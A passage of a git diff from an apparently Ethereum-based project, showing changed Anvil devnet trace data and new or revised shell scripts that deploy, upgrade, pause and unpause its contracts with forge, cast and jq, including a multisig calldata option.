"0x9623609d000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c90000000000000000000000000dcd1bf9a1b36ce34237eeafef220932846bcd8200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084cf756fdf000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "data": "0x9623609d000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 141217, - "gas_limit": 204005, + "gas_used": 19655, + "gas_limit": 35962, "status": "Stop", "steps": [], "decoded": { @@ -5706,17 +5902,17 @@ "depth": 1, "success": true, "caller": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", + "address": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CALL", "value": "0x0", - "data": "0x4f1ef2860000000000000000000000000dcd1bf9a1b36ce34237eeafef220932846bcd8200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084cf756fdf000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "data": "0x4f1ef286000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 134859, - "gas_limit": 194607, + "gas_used": 13359, + "gas_limit": 29250, "status": "Stop", "steps": [], "decoded": { @@ -5730,7 +5926,7 @@ "raw_log": { "topics": [ "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000000dcd1bf9a1b36ce34237eeafef220932846bcd82" + "0x000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1" ], "data": "0x" }, @@ -5757,18 +5953,18 @@ "trace": { "depth": 2, "success": true, - "caller": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", - "address": "0x0dcd1bf9a1b36ce34237eeafef220932846bcd82", + "caller": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", + "address": "0x959922be3caee4b8cd9a407cc3ac1c251c2007b1", "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "DELEGATECALL", "value": "0x0", - "data": "0xcf756fdf000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000", + "data": "0x1794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 121894, - "gas_limit": 179021, + "gas_used": 456, + "gas_limit": 16309, "status": "Stop", "steps": [], "decoded": { @@ -5777,156 +5973,33 @@ "call_data": null } }, - "logs": [ - { - "raw_log": { - "topics": [ - "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", - "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - }, - { - "raw_log": { - "topics": [ - "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - }, - { - "raw_log": { - "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" - ], - "data": "0x" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - }, - { - "raw_log": { - "topics": [ - "0x4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - }, - { - "raw_log": { - "topics": [ - "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000001" - }, - "decoded": { - "name": null, - "params": null - }, - "position": 0 - } - ], - "ordering": [ - { - "Log": 0 - }, - { - "Log": 1 - }, - { - "Log": 2 - }, - { - "Log": 3 - }, - { - "Log": 4 - } - ] + "logs": [], + "ordering": [] } ], "exit": "Stop", "out": "0x", - "nonce": 20, - "gas_used": 164693 + "nonce": 21, + "gas_used": 42775 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x28355", + "cumulativeGasUsed": "0xa717", "logs": [ { - "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", + "address": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", "topics": [ "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000000dcd1bf9a1b36ce34237eeafef220932846bcd82" - ], - "data": "0x" - }, - { - "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", - "topics": [ - "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", - "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000" - }, - { - "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", - "topics": [ - "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" - }, - { - "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", - "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + "0x000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1" ], "data": "0x" - }, - { - "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", - "topics": [ - "0x4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" - }, - { - "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", - "topics": [ - "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000001" } ], - "logsBloom": "0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000000000000100000400000000000000000000000000000000400000002000001000000000010000000000000000000000000020000000000000100800808000004000000000000000000000000400000000100000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000008000000000000000000100020400000200000000000040000000000002028000000000000000020000000000000000000000000000000000000000001080000000100000000400000" + "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000002000000000010000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000" }, - "block_hash": "0x78297cd2f6138e71564941168b94290e4ee87f69e753b05e66548c726549876b", - "block_number": 13 + "block_hash": "0x48af7361a06c7aed357eda74eaee8832f274a4f9be0814d90ac4d2f3ae8f61bc", + "block_number": 17 } ], "historical_states": null diff --git a/contracts/scripts/anvil/upgrade_batcher_payment_service.sh b/contracts/scripts/anvil/upgrade_batcher_payment_service.sh index c2536155d..d6ce38d07 100644 --- a/contracts/scripts/anvil/upgrade_batcher_payment_service.sh +++ b/contracts/scripts/anvil/upgrade_batcher_payment_service.sh @@ -17,7 +17,7 @@ anvil --load-state scripts/anvil/state/alignedlayer-deployed-anvil-state.json -- sleep 2 -# Deploy Batcher Payments Contract +# Deploy new Batcher Payments implementation, but don't upgrade yet forge_output=$(forge script script/upgrade/BatcherPaymentServiceUpgrader.s.sol \ "./script/output/devnet/alignedlayer_deployment_output.json" \ --rpc-url "http://localhost:8545" \ @@ -29,11 +29,25 @@ forge_output=$(forge script script/upgrade/BatcherPaymentServiceUpgrader.s.sol \ echo "$forge_output" -pkill anvil +data=$(cast calldata "upgradeToAndCall(address, bytes)" $batcher_payment_service_implementation "0x") # Extract the batcher payment service values from the output +batcher_payment_service_proxy=$(echo "$forge_output" | awk '/0: address/ {print $3}') batcher_payment_service_implementation=$(echo "$forge_output" | awk '/1: address/ {print $3}') +MULTISIG=false # hardcoding non-multisig for devnet. +if [ "$MULTISIG" = false ]; then + echo "Executing upgrade transaction" + cast send $batcher_payment_service_proxy $data \ + --rpc-url "http://localhost:8545" \ + --private-key "0x4bbbf85ce3377467afe5d46f804f221813b2bb87f24d81f60f1fcdbf7cbf4356" +else + echo "You can propose the upgrade transaction with the multisig using this calldata" + echo $data +fi + +pkill anvil + # Use the extracted value to replace the batcher payment service values in alignedlayer_deployment_output.json and save it to a temporary file jq --arg batcher_payment_service_implementation "$batcher_payment_service_implementation" '.addresses.batcherPaymentServiceImplementation = $batcher_payment_service_implementation' "./script/output/devnet/alignedlayer_deployment_output.json" > "./script/output/devnet/alignedlayer_deployment_output.temp.json" diff --git a/contracts/scripts/deploy_batcher_payment_service.sh b/contracts/scripts/deploy_batcher_payment_service.sh index a7f2ce950..a88d3f3b7 100755 --- a/contracts/scripts/deploy_batcher_payment_service.sh +++ b/contracts/scripts/deploy_batcher_payment_service.sh @@ -29,13 +29,12 @@ batcher_payment_service_proxy=$(echo "$forge_output" | awk '/0: address/ {print batcher_payment_service_implementation=$(echo "$forge_output" | awk '/1: address/ {print $3}') # Use the extracted value to replace the batcher payment service values in alignedlayer_deployment_output.json and save it to a temporary file -jq --arg batcher_payment_service_proxy "$batcher_payment_service_proxy" '.addresses.batcherPaymentService = $batcher_payment_service_proxy' "script/output/holesky/alignedlayer_deployment_output.json" > "script/output/holesky/alignedlayer_deployment_output.temp.temp.json" -jq --arg batcher_payment_service_implementation "$batcher_payment_service_implementation" '.addresses.batcherPaymentServiceImplementation = $batcher_payment_service_implementation' "script/output/holesky/alignedlayer_deployment_output.temp.temp.json" > "script/output/holesky/alignedlayer_deployment_output.temp.json" - +jq --arg batcher_payment_service_proxy "$batcher_payment_service_proxy" '.addresses.batcherPaymentService = $batcher_payment_service_proxy' $OUTPUT_PATH > $OUTPUT_PATH.temp2 +jq --arg batcher_payment_service_implementation "$batcher_payment_service_implementation" '.addresses.batcherPaymentServiceImplementation = $batcher_payment_service_implementation' $OUTPUT_PATH.temp2 > $OUTPUT_PATH.temp # Replace the original file with the temporary file -mv "script/output/holesky/alignedlayer_deployment_output.temp.json" "script/output/holesky/alignedlayer_deployment_output.json" +mv $OUTPUT_PATH.temp $OUTPUT_PATH # Delete the temporary file -rm -f "script/output/holesky/alignedlayer_deployment_output.temp.json" -rm -f "script/output/holesky/alignedlayer_deployment_output.temp.temp.json" +rm -f $OUTPUT_PATH.temp +rm -f $OUTPUT_PATH.temp2 diff --git a/contracts/scripts/deploy_pauser_registry.sh b/contracts/scripts/deploy_pauser_registry.sh new file mode 100755 index 000000000..4d72599b2 --- /dev/null +++ b/contracts/scripts/deploy_pauser_registry.sh @@ -0,0 +1,39 @@ +#!/bin/bash + +# cd to the directory of this script so that this can be run from anywhere +parent_path=$( cd "$(dirname "${BASH_SOURCE[0]}")" ; pwd -P ) +# At this point we are in contracts/scripts +cd "$parent_path" + +# At this point we are in contracts +cd ../ + +# Deploy the contracts +forge_output=$(forge script script/deploy/PauserRegistryDeployer.s.sol \ + $EXISTING_DEPLOYMENT_INFO_PATH \ + $DEPLOY_CONFIG_PATH \ + $OUTPUT_PATH \ + --rpc-url $RPC_URL \ + --private-key $PRIVATE_KEY \ + --broadcast \ + --sig "run(string memory existingDeploymentInfoPath, string memory deployConfigPath, string memory outputPath)" \ + --slow) + +echo "$forge_output" + +# Extract the pauser registry and Pauser addresses values from the output + +pauser_registry=$(echo "$forge_output" | awk '/0: address/ {print $3}') +pauser=$(echo "$forge_output" | awk '/1: address/ {print $3}') + +# Use the extracted value to replace the batcher payment service values in alignedlayer_deployment_output.json and save it to a temporary file +jq --arg pauser_registry "$pauser_registry" '.addresses.pauserRegistry = $pauser_registry' "script/output/holesky/alignedlayer_deployment_output.json" > "script/output/holesky/alignedlayer_deployment_output.temp.temp.json" +jq --arg pauser "$pauser" '.permissions.alignedLayerPauser = $pauser' "script/output/holesky/alignedlayer_deployment_output.temp.temp.json" > "script/output/holesky/alignedlayer_deployment_output.temp.json" + + +# Replace the original file with the temporary file +mv "script/output/holesky/alignedlayer_deployment_output.temp.json" "script/output/holesky/alignedlayer_deployment_output.json" + +# Delete the temporary file +rm -f "script/output/holesky/alignedlayer_deployment_output.temp.json" +rm -f "script/output/holesky/alignedlayer_deployment_output.temp.temp.json" diff --git a/contracts/scripts/get_paused_state_aligned_service_manager.sh b/contracts/scripts/get_paused_state_aligned_service_manager.sh new file mode 100755 index 000000000..b58659446 --- /dev/null +++ b/contracts/scripts/get_paused_state_aligned_service_manager.sh @@ -0,0 +1,42 @@ +#!/bin/bash + +if [ -z "$ALIGNED_SERVICE_MANAGER" ]; then + echo "ALIGNED_SERVICE_MANAGER env var is not set" + exit 1 +fi + +if [ -z "$ALIGNED_SERVICE_MANAGER_PAUSER_PRIVATE_KEY" ]; then + echo "ALIGNED_SERVICE_MANAGER_PAUSER_PRIVATE_KEY env var is not set" + exit 1 +fi + +if [ -z "$RPC_URL" ]; then + echo "RPC_URL env var is not set" + exit 1 +fi + +number=$(cast call $ALIGNED_SERVICE_MANAGER "paused()()" --rpc-url $RPC_URL) +echo Aligned Paused state: $number, + +if [ $number = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ]; then + echo "All functions are paused" + exit 0 +elif [ $number = 0x0000000000000000000000000000000000000000000000000000000000000000 ]; then + echo "No functions are paused" + exit 0 +fi + +number=$((number)) + +echo Aligned Paused state number: $number, + +echo Aligned paused functions: + +bit_position=0 +while [ $number -gt 0 ]; do + if [ $((number & 1)) -eq 1 ]; then + echo $bit_position + fi + number=$((number >> 1)) + bit_position=$((bit_position + 1)) +done diff --git a/contracts/scripts/pause_aligned_service_manager.sh b/contracts/scripts/pause_aligned_service_manager.sh new file mode 100755 index 000000000..14dd4a4cd --- /dev/null +++ b/contracts/scripts/pause_aligned_service_manager.sh @@ -0,0 +1,46 @@ +#!/bin/bash + +if [ -z "$1" ]; then + echo "Usage: $0 [ ...]" + echo "or" + echo "Usage: $0 all" + exit 1 +fi + +if [ -z "$ALIGNED_SERVICE_MANAGER" ]; then + echo "ALIGNED_SERVICE_MANAGER env var is not set" + exit 1 +fi + +if [ -z "$ALIGNED_SERVICE_MANAGER_PAUSER_PRIVATE_KEY" ]; then + echo "ALIGNED_SERVICE_MANAGER_PAUSER_PRIVATE_KEY env var is not set" + exit 1 +fi + +if [ -z "$RPC_URL" ]; then + echo "RPC_URL env var is not set" + exit 1 +fi + +if [[ "$1" == "all" ]]; then + echo "Pausing whole contract" + cast send $ALIGNED_SERVICE_MANAGER \ + "pauseAll()()" \ + --rpc-url $RPC_URL \ + --private-key $ALIGNED_SERVICE_MANAGER_PAUSER_PRIVATE_KEY + exit 0 +fi + + +result=0 + +for num in "$@"; do + result=$((result | (1 << num))) +done + +echo "New pause state: $result" + +cast send $ALIGNED_SERVICE_MANAGER \ + "pause(uint256)()" "$result" \ + --rpc-url $RPC_URL \ + --private-key $ALIGNED_SERVICE_MANAGER_PAUSER_PRIVATE_KEY diff --git a/contracts/scripts/pause_batcher_payment_service.sh b/contracts/scripts/pause_batcher_payment_service.sh new file mode 100755 index 000000000..bd0791c36 --- /dev/null +++ b/contracts/scripts/pause_batcher_payment_service.sh @@ -0,0 +1,22 @@ +#!/bin/bash + +if [ -z "$BATCHER_PAYMENT_SERVICE" ]; then + echo "BATCHER_PAYMENT_SERVICE env var is not set" + exit 1 +fi + +if [ -z "$BATCHER_PAYMENT_SERVICE_PAUSER_PRIVATE_KEY" ]; then + echo "BATCHER_PAYMENT_SERVICE_PAUSER_PRIVATE_KEY env var is not set" + exit 1 +fi + +if [ -z "$RPC_URL" ]; then + echo "RPC_URL env var is not set" + exit 1 +fi + +echo "Pausing batcher payment contract" +cast send $BATCHER_PAYMENT_SERVICE \ + "pause()()" \ + --rpc-url $RPC_URL \ + --private-key $BATCHER_PAYMENT_SERVICE_PAUSER_PRIVATE_KEY diff --git a/contracts/scripts/unpause_aligned_service_manager.sh b/contracts/scripts/unpause_aligned_service_manager.sh new file mode 100755 index 000000000..a5e04a909 --- /dev/null +++ b/contracts/scripts/unpause_aligned_service_manager.sh @@ -0,0 +1,45 @@ +#!/bin/bash + +if [ -z "$1" ]; then + echo "Usage: $0 [ ...]" + echo "or" + echo "Usage: $0 all" + exit 1 +fi + +if [[ "$1" == "all" ]]; then + echo "Unpausing whole contract" + cast send $ALIGNED_SERVICE_MANAGER \ + "unpause(uint256)()" 0 \ + --rpc-url $RPC_URL \ + --private-key $ALIGNED_SERVICE_MANAGER_PAUSER_PRIVATE_KEY + return +fi + +if [ -z "$ALIGNED_SERVICE_MANAGER" ]; then + echo "ALIGNED_SERVICE_MANAGER env var is not set" + exit 1 +fi + +if [ -z "$ALIGNED_SERVICE_MANAGER_PAUSER_PRIVATE_KEY" ]; then + echo "ALIGNED_SERVICE_MANAGER_PAUSER_PRIVATE_KEY env var is not set" + exit 1 +fi + +if [ -z "$RPC_URL" ]; then + echo "RPC_URL env var is not set" + exit 1 +fi + +result=0 + +for num in "$@"; do + result=$((result | (1 << num))) +done + +echo "New pause state: $result" + +cast send $ALIGNED_SERVICE_MANAGER \ + "unpause(uint256)()" "$result" \ + --rpc-url $RPC_URL \ + --private-key $ALIGNED_SERVICE_MANAGER_PAUSER_PRIVATE_KEY diff --git a/contracts/scripts/unpause_batcher_payment_service.sh b/contracts/scripts/unpause_batcher_payment_service.sh new file mode 100755 index 000000000..bdec21272 --- /dev/null +++ b/contracts/scripts/unpause_batcher_payment_service.sh @@ -0,0 +1,22 @@ +#!/bin/bash + +if [ -z "$BATCHER_PAYMENT_SERVICE" ]; then + echo "BATCHER_PAYMENT_SERVICE env var is not set" + exit 1 +fi + +if [ -z "$BATCHER_PAYMENT_SERVICE_PAUSER_PRIVATE_KEY" ]; then + echo "BATCHER_PAYMENT_SERVICE_PAUSER_PRIVATE_KEY env var is not set" + exit 1 +fi + +if [ -z "$RPC_URL" ]; then + echo "RPC_URL env var is not set" + exit 1 +fi + +echo "Unpausing batcher payments contract" +cast send $BATCHER_PAYMENT_SERVICE \ + "unpause()()" \ + --rpc-url $RPC_URL \ + --private-key $BATCHER_PAYMENT_SERVICE_PAUSER_PRIVATE_KEY diff --git a/contracts/scripts/upgrade_add_pausable_to_service_manager.sh b/contracts/scripts/upgrade_add_pausable_to_service_manager.sh new file mode 100644 index 000000000..d629a39b8 --- /dev/null +++ b/contracts/scripts/upgrade_add_pausable_to_service_manager.sh @@ -0,0 +1,32 @@ +#!/bin/bash + +# cd to the directory of this script so that this can be run from anywhere +parent_path=$( cd "$(dirname "${BASH_SOURCE[0]}")" ; pwd -P ) + +cd "$parent_path" + +cd ../ + +# Save the output to a variable to later extract the address of the new deployed contract +forge_output=$(forge script script/upgrade/AlignedLayerPauserUpgrader.s.sol \ + $EXISTING_DEPLOYMENT_INFO_PATH \ + $DEPLOY_CONFIG_PATH \ + $OUTPUT_PATH \ + --rpc-url $RPC_URL \ + --private-key $PRIVATE_KEY \ + --broadcast \ + --sig "run(string memory eigenLayerDeploymentFilePath, string memory deployConfigPath, string memory alignedLayerDeploymentFilePath, )") + +echo "$forge_output" + +# Extract the alignedLayerServiceManagerImplementation value from the output +new_aligned_layer_service_manager_implementation=$(echo "$forge_output" | awk '/1: address/ {print $3}') + +# Use the extracted value to replace the alignedLayerServiceManagerImplementation value in alignedlayer_deployment_output.json and save it to a temporary file +jq --arg new_aligned_layer_service_manager_implementation "$new_aligned_layer_service_manager_implementation" '.addresses.alignedLayerServiceManagerImplementation = $new_aligned_layer_service_manager_implementation' "$OUTPUT_PATH" > "script/output/holesky/alignedlayer_deployment_output.temp.json" + +# Replace the original file with the temporary file +mv "script/output/holesky/alignedlayer_deployment_output.temp.json" "$OUTPUT_PATH" + +# Delete the temporary file +rm -f "script/output/holesky/alignedlayer_deployment_output.temp.json" diff --git a/contracts/scripts/upgrade_aligned_contracts.sh b/contracts/scripts/upgrade_aligned_contracts.sh index 0cdd8caa1..9f27f9ad0 100755 --- a/contracts/scripts/upgrade_aligned_contracts.sh +++ b/contracts/scripts/upgrade_aligned_contracts.sh @@ -1,5 +1,26 @@ #!/bin/bash +if [ -z "$MULTISIG" ]; then + echo "Missing MULTISIG env variable" + exit 1 +fi +if [ -z "$OUTPUT_PATH" ]; then + echo "Missing OUTPUT_PATH env variable" + exit 1 +fi +if [ -z "$EXISTING_DEPLOYMENT_INFO_PATH" ]; then + echo "Missing EXISTING_DEPLOYMENT_INFO_PATH env variable" + exit 1 +fi +if [ -z "$RPC_URL" ]; then + echo "Missing RPC_URL env variable" + exit 1 +fi +if [ -z "$PRIVATE_KEY" ]; then + echo "Missing PRIVATE_KEY env variable" + exit 1 +fi + # cd to the directory of this script so that this can be run from anywhere parent_path=$( cd "$(dirname "${BASH_SOURCE[0]}")" ; pwd -P ) @@ -21,13 +42,24 @@ forge_output=$(forge script script/upgrade/AlignedLayerUpgrader.s.sol \ echo "$forge_output" # Extract the alignedLayerServiceManagerImplementation value from the output +aligned_layer_service_manager=$(echo "$forge_output" | awk '/0: address/ {print $3}') new_aligned_layer_service_manager_implementation=$(echo "$forge_output" | awk '/1: address/ {print $3}') # Use the extracted value to replace the alignedLayerServiceManagerImplementation value in alignedlayer_deployment_output.json and save it to a temporary file -jq --arg new_aligned_layer_service_manager_implementation "$new_aligned_layer_service_manager_implementation" '.addresses.alignedLayerServiceManagerImplementation = $new_aligned_layer_service_manager_implementation' "script/output/holesky/alignedlayer_deployment_output.json" > "script/output/holesky/alignedlayer_deployment_output.temp.json" +jq --arg new_aligned_layer_service_manager_implementation "$new_aligned_layer_service_manager_implementation" '.addresses.alignedLayerServiceManagerImplementation = $new_aligned_layer_service_manager_implementation' $OUTPUT_PATH > "script/output/holesky/alignedlayer_deployment_output.temp.json" # Replace the original file with the temporary file -mv "script/output/holesky/alignedlayer_deployment_output.temp.json" "script/output/holesky/alignedlayer_deployment_output.json" +mv "script/output/holesky/alignedlayer_deployment_output.temp.json" $OUTPUT_PATH + +data=$(cast calldata "upgrade(address, address)" $aligned_layer_service_manager $new_aligned_layer_service_manager_implementation) -# Delete the temporary file -rm -f "script/output/holesky/alignedlayer_deployment_output.temp.json" +if [ "$MULTISIG" = false ]; then + echo "Executing upgrade transaction" + proxy_admin=$(jq -r '.addresses.alignedLayerProxyAdmin' $OUTPUT_PATH) + cast send $proxy_admin $data \ + --rpc-url $RPC_URL \ + --private-key $PRIVATE_KEY +else + echo "You can propose the upgrade transaction with the multisig using this calldata" + echo $data +fi diff --git a/contracts/scripts/upgrade_batcher_payment_service.sh b/contracts/scripts/upgrade_batcher_payment_service.sh index 4b2e7d769..3d0d9c369 100755 --- a/contracts/scripts/upgrade_batcher_payment_service.sh +++ b/contracts/scripts/upgrade_batcher_payment_service.sh @@ -1,5 +1,10 @@ #!/bin/bash +if [ -z "$MULTISIG" ]; then + echo "Missing MULTISIG env variable" + exit 1 +fi + # cd to the directory of this script so that this can be run from anywhere parent_path=$( cd "$(dirname "${BASH_SOURCE[0]}")" ; pwd -P ) # At this point we are in contracts/scripts @@ -24,6 +29,7 @@ forge_output=$(forge script script/upgrade/BatcherPaymentServiceUpgrader.s.sol \ echo "$forge_output" # Extract the batcher payment service values from the output +batcher_payment_service_proxy=$(echo "$forge_output" | awk '/0: address/ {print $3}') batcher_payment_service_implementation=$(echo "$forge_output" | awk '/1: address/ {print $3}') # Use the extracted value to replace the batcher payment service values in alignedlayer_deployment_output.json and save it to a temporary file @@ -35,4 +41,14 @@ mv "$OUTPUT_PATH.temp" $OUTPUT_PATH # Delete the temporary file rm -f "$OUTPUT_PATH.temp" +data=$(cast calldata "upgradeTo(address)" $batcher_payment_service_implementation) +if [ "$MULTISIG" = false ]; then + echo "Executing upgrade transaction" + cast send $batcher_payment_service_proxy $data \ + --rpc-url $RPC_URL \ + --private-key $PRIVATE_KEY +else + echo "You can propose the upgrade transaction with the multisig using this calldata" + echo $data +fi diff --git a/contracts/scripts/upgrade_bls_apk_registry.sh b/contracts/scripts/upgrade_bls_apk_registry.sh index 7a2b608c6..87638db0e 100755 --- a/contracts/scripts/upgrade_bls_apk_registry.sh +++ b/contracts/scripts/upgrade_bls_apk_registry.sh @@ -1,5 +1,10 @@ #!/bin/bash +if [ -z "$MULTISIG" ]; then + echo "Missing MULTISIG env variable" + exit 1 +fi + # cd to the directory of this script so that this can be run from anywhere parent_path=$( cd "$(dirname "${BASH_SOURCE[0]}")" ; pwd -P ) @@ -19,6 +24,7 @@ forge_output=$(forge script script/upgrade/BLSApkRegistryUpgrader.s.sol \ echo "$forge_output" # Extract the alignedLayerServiceManagerImplementation value from the output +blsApkRegistry=$(echo "$forge_output" | awk '/0: address/ {print $3}') new_bls_apk_registry_implementation=$(echo "$forge_output" | awk '/1: address/ {print $3}') # Use the extracted value to replace the alignedLayerServiceManagerImplementation value in alignedlayer_deployment_output.json and save it to a temporary file @@ -29,3 +35,16 @@ mv "script/output/holesky/alignedlayer_deployment_output.temp.json" "script/outp # Delete the temporary file rm -f "script/output/holesky/alignedlayer_deployment_output.temp.json" + +data=$(cast calldata "upgrade(address, address)" $blsApkRegistry $new_bls_apk_registry_implementation) + +if [ "$MULTISIG" = false ]; then + echo "Executing upgrade transaction" + proxy_admin=$(jq -r '.addresses.alignedLayerProxyAdmin' $OUTPUT_PATH) + cast send $proxy_admin $data \ + --rpc-url $RPC_URL \ + --private-key $PRIVATE_KEY +else + echo "You can propose the upgrade transaction with the multisig using this calldata" + echo $data +fi diff --git a/contracts/scripts/upgrade_index_registry.sh b/contracts/scripts/upgrade_index_registry.sh index 80bda5b6e..9722f873a 100755 --- a/contracts/scripts/upgrade_index_registry.sh +++ b/contracts/scripts/upgrade_index_registry.sh @@ -1,5 +1,10 @@ #!/bin/bash +if [ -z "$MULTISIG" ]; then + echo "Missing MULTISIG env variable" + exit 1 +fi + # cd to the directory of this script so that this can be run from anywhere parent_path=$( cd "$(dirname "${BASH_SOURCE[0]}")" ; pwd -P ) @@ -19,6 +24,7 @@ forge_output=$(forge script script/upgrade/IndexRegistryUpgrader.s.sol \ echo "$forge_output" # Extract the alignedLayerServiceManagerImplementation value from the output +index_registry=$(echo "$forge_output" | awk '/0: address/ {print $3}') new_index_registry_implementation=$(echo "$forge_output" | awk '/1: address/ {print $3}') # Use the extracted value to replace the alignedLayerServiceManagerImplementation value in alignedlayer_deployment_output.json and save it to a temporary file @@ -29,3 +35,16 @@ mv "script/output/holesky/alignedlayer_deployment_output.temp.json" "script/outp # Delete the temporary file rm -f "script/output/holesky/alignedlayer_deployment_output.temp.json" + +data=$(cast calldata "upgrade(address, address)" $index_registry $new_index_registry_implementation) + +if [ "$MULTISIG" = false ]; then + echo "Executing upgrade transaction" + proxy_admin=$(jq -r '.addresses.alignedLayerProxyAdmin' $OUTPUT_PATH) + cast send $proxy_admin $data \ + --rpc-url $RPC_URL \ + --private-key $PRIVATE_KEY +else + echo "You can propose the upgrade transaction with the multisig using this calldata" + echo $data +fi diff --git a/contracts/scripts/upgrade_registry_coordinator.sh b/contracts/scripts/upgrade_registry_coordinator.sh index 2a7b996bb..ab32acdd1 100755 --- a/contracts/scripts/upgrade_registry_coordinator.sh +++ b/contracts/scripts/upgrade_registry_coordinator.sh @@ -1,5 +1,10 @@ #!/bin/bash +if [ -z "$MULTISIG" ]; then + echo "Missing MULTISIG env variable" + exit 1 +fi + # cd to the directory of this script so that this can be run from anywhere parent_path=$( cd "$(dirname 